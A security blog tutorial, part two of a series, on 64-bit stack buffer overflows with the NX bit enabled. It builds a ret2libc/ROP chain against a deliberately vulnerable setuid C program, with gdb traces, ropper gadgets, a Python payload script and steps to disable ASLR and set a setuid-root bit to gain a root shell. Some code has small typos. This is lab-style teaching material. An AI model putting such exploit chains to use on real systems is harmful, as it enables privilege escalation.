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====== Buffer overflow in the 64-bit stack - Part 2 ======

In the second part, we activate the NX bit, which is intended to protect us from buffer overflows. To keep things fun, we will of course override this protection directly. We achieve this by passing the command to be executed to the [[https://de.wikipedia.org/wiki/C-Standard-Bibliothek|libc-Funktion]] ''system()'' is forwarded. This tutorial is fundamentally based on the work of [[https://blog.techorganic.com|superkojiman]] ((https://blog.techorganic.com/2015/04/21/64-bit-linux-stack-smashing-tutorial-part-2/))

===== Introduction =====

Further information on ROP (Return Oriented Programming) and the basics of buffer overflows can be found in the link collection at the end. ((https://book.hacktricks.xyz/reversing-and-exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address)) ((https://ir0nstone.gitbook.io/notes/types/stack))
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==== Theory ====

The tutorial by superkojiman shows how the registers are overwritten step by step. To understand the process, we can debug the [[https://gist.github.com/superkojiman/595524f6b96c79380568|kompilierte debug binary]] from the blog.

<code bash>
br *vuln+73								# setze Breakpoint
r < in.txt								# in.txt wird vom Python Script erzeugt
...									# Breakpoint
RDI: 0x7ffff7fa0a30 --> 0x0 
RBP: 0x4141414141414141 ('AAAAAAAA')					# RBP ist überschrieben
RSP: 0x7fffffffddc8 --> 0x4006a3 (<__libc_csu_init+99>: pop    rdi)	# RSP mit pop rdi Gadget
RIP: 0x40060f (<vuln+73>:       ret)
gdb-peta$ si
...
RDI: 0x7ffff7fa0a30 --> 0x0 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffddd0 --> 0x4006ff --> 0x68732f6e69622f ('/bin/sh')	# Pointer nach /bin/sh
RIP: 0x4006a3 (<__libc_csu_init+99>:    pop    rdi)			# pop rdi wurde auf RIP geschrieben
gdb-peta$ si
...
RDI: 0x4006ff --> 0x68732f6e69622f ('/bin/sh')				# Pointer wurde auf rdi geschrieben
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffddd8 --> 0x400469 (<_init+25>:   ret)			# NOP
RIP: 0x4006a4 (<__libc_csu_init+100>:   ret)
gdb-peta$ si
...
RDI: 0x4006ff --> 0x68732f6e69622f ('/bin/sh')
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7...fdde0 --> 0x7ffff7e17920 (<__libc_system>: test   rdi,rdi)	# system("/bin/sh")
RIP: 0x400469 (<_init+25>:      ret)
</code>
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===== Dependencies =====

What is needed?

In addition to the tools from [[en:it-security:blog:buffer_overflow_x64|Part 1]], we also need ropper.

<code bash>
sudo apt install ropper
</code>
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===== Deactivate ASLR =====

ASLR must also be deactivated here in order to maintain constant memory areas. In [[https://www.nosociety.de/it-security:blog:buffer_overflow_x64#aslr_deaktivieren|Teil 1,]] describes what needs to be done to do this.
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===== C programme =====

The original tutorial is a bit older, so the source code could not be copied 1:1. On the one hand, the ''UID'' and ''EUID'' had to be set additionally ((http://disq.us/p/1klc7u2)), on the other hand ''/bin/sh'' no longer works in this way. ((http://disq.us/p/1n4ipc8))

Since there is a ''pop rdi; ret;'' gadget was missing, I created a corresponding function.

<code c>
/* Code https://blog.techorganic.com/2015/04/21/64-bit-linux-stack-smashing-tutorial-part-2/ */
/* Changes by https://www.nosociety.de/it-security:blog:buffer_overflow_x64-2 */
/* Compile: gcc -fno-stack-protector -no-pie bof-part2.c -o bof-part2      */
/* Disable ASLR: echo 0 > /proc/sys/kernel/randomize_va_space     */

#include <stdio.h>
#include <unistd.h>

int gadg() {
 asm ("pop %rdi");
 asm ("ret");
 return 0;
}

int vuln() {
    char buf[80];
    int r;
    r = read(0, buf, 400);
    printf("\nRead %d bytes. buf is %s\n", r, buf);
    puts("No shell for you :(");
    return 0;
}

int main(int argc, char *argv[]) {
    setuid(0);
    seteuid(0);
    printf("Try to exec /bin/zsh --interactive");
    vuln();
    return 0;
}
</code>
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==== Compile ====

Now we compile the programme. It is important that the ''no-pie'' parameter is set. The user provides an explanation [[https://disqus.com/by/bassiksgang/|b4551k5]] for this:

> It seems that gcc build PIE (position indep. exec.). You can check this using "readelf -e <executable>". If at the top (the header), Type is "DYN (shared..." then it is PIE and gets loaded at random base address. You can rebuild the code using "-no-pie" as compile flag to tell the linker you want to build an executable. This should result in 0x400000 as base address as in the examples above.

<code bash>
gcc -fno-stack-protector -no-pie bof-part2.c -o bof-part2   
</code>
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===== Exploit =====

==== Gadgets ====

We need 2 gadgets to create the exploit. To do this, we start ropper and display the gadgets

<code bash>
ropper --file bof-part2
...
0x000000000040116a: pop rdi; ret;
...
0x0000000000401016: ret;
</code>

We need ''40116a''to move our argument from RSP to RDI and ''401016'' is a NOP function that shifts RSP by 8 bytes. ((http://disq.us/p/247r1cp))
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==== Finding offsets ====

Now we still need 2 offsets for the exploit. So we load our file into the debugger and start it:

<code bash>
gdb-peda$ start
...
gdb-peda$ p system
$1 = {int (const char *)} 0x7ffff7e17920 <__libc_system>

gdb-peda$ find "/bin/zsh --interactive"

Searching for '/bin/zsh --interactive' in: None ranges
Found 2 results, display max 2 items:
bof-part2 : 0x402044 ("/bin/zsh --interactive")
bof-part2 : 0x403044 ("/bin/zsh --interactive")
</code>

The offset ''0x7ffff7e17920'' is the address of ''system()''our libc call. ''0x402044'' is the address of our parameter that we send to ''system()'' we want to pass. Now we have all the necessary parameters to build the corresponding buffer in the exploit.
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==== buffer.py ====

<code bash>
/usr/bin/env python

from struct import *

buf = ""
buf += "A "*104 # junk   
buf += pack(" <Q", 0x000000000040116a) # pop rdi; ret;
buf += pack("<Q", 0x402044) # pointer to "/bin/zsh --interactive" gets popped into rdi
buf += pack("<Q", 0x0000000000401016) # 8 bytes NOP
buf += pack("<Q", 0x7ffff7e17920) # address of system()

f = open("in.txt", "w")
f.write(buf)
</code>
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==== Create buffer ====

Now we run our Python exploit and create the file in.txt.

<code bash>python2 buffer.py</code>
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==== Set authorisations ====

Our file still needs the appropriate root permissions.

<code bash>
sudo chown root bof-part2
sudo chmod 4755 bof-part2
</code>
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==== root Shell ====

Now we start our programme and pass our buffer as an argument.

[{{it-security:bof-dism2-1.png|Upgrade the shell to root}}]

Our user shell is upgraded to the root shell and we have achieved our goal.
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===== Repository =====

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